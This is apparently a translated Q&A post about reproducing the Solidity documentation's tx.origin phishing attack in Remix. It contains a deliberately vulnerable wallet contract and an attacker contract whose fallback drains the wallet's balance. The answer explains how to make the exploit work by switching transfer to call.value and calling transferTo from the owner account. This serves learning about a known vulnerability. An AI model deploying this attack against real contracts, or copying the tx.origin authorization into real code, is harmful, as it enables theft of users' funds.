Я читал документы Solidity и решил воспроизвести атаку tx.origin . Я скопировал контракт из документации, но получаю ошибку при использовании функции «transferTo». Проверьте скриншот ремикса ниже, чтобы узнать подробности ошибки.
Найдите мой контракт ниже.
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
function TxUserWallet() payable public {
owner = msg.sender;
}
function transferTo(address dest, uint256 amount) payable public {
require(tx.origin == owner);
dest.transfer(amount);
}
function getBalance() constant returns(uint256){
return this.balance;
}
function getOwner() constant returns(address){
return owner;
}
}
interface TxUserWallet {
function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
address owner;
function TxAttackWallet() payable public {
owner = msg.sender;
}
function() payable public {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
function getBalance() constant returns(uint256){
return this.balance;
}
function getOwner() constant returns(address){
return owner;
}
}
Плохая идея полагаться на tx.origin, чтобы определить, была ли транзакция инициирована доверенной стороной или нет. Это та глава документа Solidity, о которой рассказывается. Уязвимым фрагментом кода является require(tx.origin == owner);
.
Теперь, чтобы на самом деле использовать эту уязвимость tx.origin, предпринимается попытка повторной атаки, но она терпит неудачу, потому что в настоящее время dest.transfer(amount);
отправляет только 2300 газа в резервную функцию dest
контракта.
Чтобы наблюдать за злоупотреблением контролем безопасности на основе tx.origin (игнорируя новое поведение transfer(), которое ломает трюк с повторным входом), вы можете изменить его dest.transfer(amount);
на dest.call.value(amount)()
. Как здесь https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14 .
Да и по скриншоту непонятно, правильно ли вы запускаете атаку. Вы должны звонить TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)
из учетной записи владельца TxUserWallet. Это отправит все средства из TxUserWallet владельцу TxAttackWallet .